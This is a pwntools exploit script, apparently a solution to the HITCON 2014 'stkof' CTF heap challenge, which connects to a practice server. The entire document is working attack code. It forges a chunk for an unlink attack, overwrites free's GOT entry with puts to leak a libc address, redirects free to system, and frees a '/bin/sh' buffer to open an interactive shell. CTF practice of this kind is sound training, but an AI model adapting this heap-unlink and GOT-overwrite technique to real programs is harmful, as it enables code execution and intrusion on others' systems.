from
pwn
import
*
context.log_level
=
'debug'
context.arch
=
'amd64'
context.os
=
"linux"
pc
=
"./hitcon2014_stkof"
if
__name__
=
=
'__main__'
:
local
=
sys.argv[
1
]
if
local
=
=
'1'
:
r
=
process(pc)
elf
=
ELF(pc)
libc
=
elf.libc
else
:
r
=
remote(
"node4.buuoj.cn"
,
28964
)
elf
=
ELF(pc)
libc
=
elf.libc
sa
=
lambda
s,n : r.sendafter(s,n)
sla
=
lambda
s,n : r.sendlineafter(s,n)
sl
=
lambda
s : r.sendline(s)
sd
=
lambda
s : r.send(s)
rc
=
lambda
n : r.recv(n)
ru
=
lambda
s : r.recvuntil(s)
ti
=
lambda
: r.interactive()
lg
=
lambda
s: log.info(
'\033[1;31;40m %s --> 0x%x \033[0m'
%
(s,
eval
(s)))
def
db():
gdb.attach(r)
pause()
def
dbs(src):
gdb.attach(r, src)
def
add(size):
sl(
"1"
)
sl(
str
(size))
def
edit(index,content):
sl(
"2"
)
sl(
str
(index))
sl(
str
(
len
(content)))
sl(content)
def
free(index):
sl(
"3"
)
sl(
str
(index))
def
show(index):
sl(
"4"
)
sl(
str
(index))
puts_plt
=
elf.plt[
'puts'
]
puts_got
=
elf.got[
'puts'
]
free_got
=
elf.got[
'free'
]
bss
=
0x602140
target
=
bss
+
0x10
add(
0x10
)
add(
0x20
)
add(
0x80
)
add(
0x20
)
payload
=
p64(
0
)
+
p64(
0x21
)
+
p64(target
-
0x18
)
+
p64(target
-
0x10
)
+
p64(
0x20
)
+
p64(
0x90
)
edit(
2
,payload)
free(
3
)
payload
=
p64(
0
)
+
p64(free_got)
+
p64(puts_got)
edit(
2
,payload)
edit(
0
,p64(puts_plt))
free(
1
)
puts_addr
=
u64(r.recvuntil(b
'\x7f'
)[
-
6
:].ljust(
8
,b
'\x00'
))
libc_base
=
puts_addr
-
libc.sym[
'puts'
]
system_addr
=
libc_base
+
libc.sym[
"system"
]
lg(
'libc_base'
)
edit(
4
,
"/bin/sh"
)
edit(
0
,p64(system_addr))
free(
4
)
ti()